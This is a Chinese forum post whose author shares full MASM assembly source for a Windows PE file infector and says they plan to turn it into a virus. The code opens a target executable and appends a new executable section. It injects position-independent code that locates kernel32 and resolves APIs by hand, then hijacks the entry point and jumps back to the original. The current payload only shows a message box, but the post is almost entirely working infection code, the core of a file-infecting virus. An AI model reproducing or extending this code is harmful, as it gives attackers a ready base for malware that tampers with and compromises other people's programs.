共有回帖数 0 个
-
这个程序可以增加一段可以执行代码的C盘的1.exe的PE文件中(利用了增加一个新节).嘿嘿,过2天再把它写成一个病毒......
代码如下:
;Infect.asm 文件
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
;************************************************************************
.data
szSectionName db '.CIW',0
szSrcFileName db 'c:1.exe',0 ;要感染的文件名
szMsgText db '该文件已经感染过.',0
szMsgCaption db '提示',0
;************************************************************************
.data?
hFile dd ?
lpMemory dd ?
;************************************************************************
.code
include AddCode.asm
;
;关于_dwAlign 对齐
;
_Align proc _dwSize, _dwAlign
push edx
mov eax, _dwSize
xor edx, edx
div _dwAlign ;除于 _dwAlign, eax -商, edx -余数
.if edx ;如果有余数
inc eax ;商 + 1
.endif
mul _dwAlign ;乘于 _dwAlign - 对齐
pop edx
ret
_Align endp
;
;
;感染 Pe 文件
;
_Infect proc _lpHead, _lpPEHead
LOCAL @lpMemory, @dwAddCodeBase, @dwAddCodeFile, @dwOldEntry, @dwTemp, @dwSecNum
LOCAL @szSecName[10] :byte
mov esi, _lpPEHead ;旧的PE头
assume esi: ptr IMAGE_NT_HEADERS
;***************************** 是不是PE文件 ********************************
mov edi, _lpHead
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic != IMAGE_DOS_SIGNATURE
jmp _Ret
.endif
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _Ret
.endif
;***************************** 是否感染了 ***********************************
mov edi, esi
movzx ecx, [esi].FileHeader.NumberOfSections
mov @dwSecNum, ecx
add edi, IMAGE_NT_HEADERS
assume edi: ptr IMAGE_SECTION_HEADER
.while ecx
invoke RtlMoveMemory, addr @szSecName, addr [edi].Name1, 8
invoke lstrcmp, addr @szSecName, offset szSectionName
.if !eax
invoke MessageBox, NULL, offset szMsgText,
offset szMsgCaption, MB_OK or MB_ICONERROR
jmp _Ret
.endif
add edi, IMAGE_SECTION_HEADER
dec @dwSecNum
mov ecx, @dwSecNum
.endw
;****************************************************************************
invoke GlobalAlloc, GPTR , [esi].OptionalHeader.SizeOfHeaders ;开辟新的空间
mov @lpMemory, eax
invoke RtlMoveMemory, eax, _lpHead,[esi].OptionalHeader.SizeOfHeaders ;复制旧头到新头
movzx ecx, [esi].FileHeader.NumberOfSections
dec ecx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ;eax - 最后一个节表头
mov edi, @lpMemory ;新DOS头
assume edi: ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew ;新PE头
assume edi: ptr IMAGE_NT_HEADERS
mov ebx, edi
add ebx, IMAGE_NT_HEADERS ;新的第一个节表头
mov edx, ebx
add edx, eax ;edx 最后一个节表头
mov ebx, edx
add ebx, sizeof IMAGE_SECTION_HEADER ;ebx 最后一个节表尾
assume edx: ptr IMAGE_SECTION_HEADER
assume ebx: ptr IMAGE_SECTION_HEADER
pushad
xor eax, eax
mov edi, ebx
mov ecx, sizeof IMAGE_SECTION_HEADER
repz scasb
popad
.if ZERO? ;有空间插入新的节表
inc [edi].FileHeader.NumberOfSections
mov eax, [edx].PointerToRawData
add eax, [edx].SizeOfRawData ;最后一个节表单位RAW
mov [ebx].PointerToRawData, eax
mov ecx, offset APPEND_CODE_END - offset APPEND_CODE ;插入代码的大小
invoke _Align, ecx, [esi].OptionalHeader.FileAlignment ;代码关于文件对齐
mov [ebx].SizeOfRawData, eax
invoke _Align, ecx, [esi].OptionalHeader.SectionAlignment ;代码关于节对齐
add [edi].OptionalHeader.SizeOfCode, eax ;增加原来代码的大小
add [edi].OptionalHeader.SizeOfImage, eax
invoke _Align, [edx].Misc.VirtualSize, [esi].OptionalHeader.SectionAlignment
add eax, [edx].VirtualAddress ;计算新节表的虚拟地址
mov [ebx].VirtualAddress, eax
mov [ebx].Misc.VirtualSize, offset APPEND_CODE_END - offset APPEND_CODE
;设置 Characteristics (可读,可写等)
mov [ebx].Characteristics, IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE
or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke lstrcpy, addr [ebx].Name1, offset szSectionName ;设置节表名
;*************************** 将代码写到文件的最后 **************************
invoke SetFilePointer, hFile, [ebx].PointerToRawData, NULL, FILE_BEGIN
invoke WriteFile, hFile, offset APPEND_CODE, [ebx].Misc.VirtualSize,
addr @dwTemp, NULL
mov eax, [ebx].PointerToRawData
add eax, [ebx].SizeOfRawData
invoke SetFilePointer, hFile, eax, NULL, FILE_BEGIN
invoke SetEndOfFile, hFile
;***************************************************************************
;************************** 获取 RVA 和 RAW *********************************
push [ebx].VirtualAddress
pop @dwAddCodeBase
push [ebx].PointerToRawData
pop @dwAddCodeFile
;**************************************************************************
;************************ 修正旧的程序入口点 *******************************
push [esi].OptionalHeader.AddressOfEntryPoint
pop @dwOldEntry
mov eax, @dwAddCodeBase
add eax, offset _ToOldEntry - offset APPEND_CODE + 5
sub @dwOldEntry, eax
mov ecx, @dwAddCodeFile
add ecx, offset _dwOldEntry - offset APPEND_CODE
invoke SetFilePointer, hFile, ecx, NULL, FILE_BEGIN
invoke WriteFile, hFile, addr @dwOldEntry, 4, addr @dwTemp, 0
;***************************************************************************
;************************* 设置新的人口点 ***********************************
mov eax, @dwAddCodeBase
add eax, offset _NewEntry - offset APPEND_CODE
mov [edi].OptionalHeader.AddressOfEntryPoint, eax ;设置程序新的入口点
invoke SetFilePointer, hFile, 0,0, FILE_BEGIN
invoke WriteFile, hFile, @lpMemory, [esi].OptionalHeader.SizeOfHeaders,
addr @dwTemp, 0
;****************************************************************************
;************************ 关闭工作 *****************************************
invoke GlobalFree, @lpMemory
;***************************************************************************
.endif
_Ret:
ret
_Infect endp
start:
invoke CreateFile, offset szSrcFileName, GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING ,NULL , NULL
mov hFile, eax
invoke CreateFileMapping, hFile, NULL, PAGE_READWRITE , 0, 0, NULL
invoke MapViewOfFile, eax, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0
.if !eax
jmp _Exit
.endif
mov lpMemory, eax
mov esi, eax
assume esi: ptr IMAGE_DOS_HEADER
add esi, [esi].e_lfanew
invoke _Infect, lpMemory, esi
invoke CloseHandle, hFile
_Exit:
invoke ExitProcess, 0
end start
;GetKernel1.asm 文件
_GetKernelBase proc _dwKernelRet
LOCAL _dwRet
pushad
;**********************代码重定位***************
call @F
@@:
pop ebx
sub ebx, offset @B
;************************************************
mov edi, _dwKernelRet
and edi, 0ffff0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov eax, edi
add eax, [eax + 003ch]
.if word ptr [eax] == IMAGE_NT_SIGNATURE
mov _dwRet, edi
.break
.endif
.endif
sub edi, 010000h
.break .if edi 070000000h
.endw
popad
mov eax, _dwRet
ret
_GetKernelBase endp
_GetAPIByName proc _dwKernelBase, _lpszAPI
LOCAL @dwRet, @dwAPILength
pushad
;************************** 获取API长度 ***************************
mov edi, _lpszAPI
mov ecx, -1 ;构建一个无限ecx循环
xor al, al
cld
repnz scasb
sub edi, _lpszAPI ;用edi减去 _lpszAPI原始地址 = 长度
mov @dwAPILength, edi
;************************** 获取导出库 ***************************
mov esi, _dwKernelBase
assume esi: ptr IMAGE_DOS_HEADER ;esi - DOS头
add esi, [esi].e_lfanew
assume esi: ptr IMAGE_NT_HEADERS ;esi - NT头
mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress ;esi - 导出库
add esi, _dwKernelBase
assume esi: ptr IMAGE_EXPORT_DIRECTORY
;************************** 查找API *********************************
mov ebx, [esi].AddressOfNames
add ebx, _dwKernelBase ;ebx - AddressOfNames
xor edx, edx ;edx - 函数的Index
.repeat ;循环查找API
push esi
mov esi, _lpszAPI ;esi - _lpszAPI
mov edi, [ebx]
add edi, _dwKernelBase ;edi - 导出函数名的地址
mov ecx, @dwAPILength ;ecx - 要获取的API的长度
repz cmpsb ;循环比较
.if ZERO? ;找到这个API
pop esi
.break
.endif
pop esi
add ebx, 4
inc edx
.until edx = [esi].NumberOfNames
sub ebx, [esi].AddressOfNames
sub ebx, _dwKernelBase
shr ebx, 1
add ebx, [esi].AddressOfNameOrdinals
add ebx, _dwKernelBase
movzx eax, word ptr [ebx]
shl eax, 2
add eax, [esi].AddressOfFunctions
add eax, _dwKernelBase
mov eax, [eax]
add eax, _dwKernelBase
mov @dwRet, eax
popad
mov eax, @dwRet
ret
_GetAPIByName endp
;AddCode.asm 文件
;
; 一些函数的原形定义
;
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiMessageBox typedef ptr _ProtoMessageBox
;
;
;
APPEND_CODE equ this byte
;
; 被添加到目标文件中的代码从这里开始
;
include GetKernel1.asm
;
hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_MessageBox _ApiMessageBox ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szUser32 db 'user32',0
szMessageBox db 'MessageBoxA',0
szCaption db '提示',0
szText db '增加代码成功.',0
;********************************************************************
; 新的入口地址
;********************************************************************
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx + hDllKernel32], eax
lea eax, [ebx + szGetProcAddress]
invoke _GetAPIByName, [ebx + hDllKernel32],eax
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx + _GetProcAddress], eax
lea eax, [ebx + szLoadLibrary]
invoke [ebx + _GetProcAddress], [ebx + hDllKernel32], eax
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx + _LoadLibrary], eax
lea eax, [ebx + szUser32]
invoke [ebx + _LoadLibrary], eax
mov [ebx + hDllUser32], eax
lea eax, [ebx + szMessageBox]
invoke [ebx + _GetProcAddress], [ebx + hDllUser32], eax
mov [ebx + _MessageBox], eax
mov eax, MB_OK
push eax
lea eax, [ebx + szCaption]
push eax
lea eax, [ebx + szText]
push eax
push NULL
call [ebx + _MessageBox]
;********************************************************************
; 执行原来的文件
;********************************************************************
_ToOldEntry:
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的入口地址
;
APPEND_CODE_END equ this byte
楼主 2016-01-23 10:47 回复
Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号
意见反馈 |
关于直线 |
版权声明 |
会员须知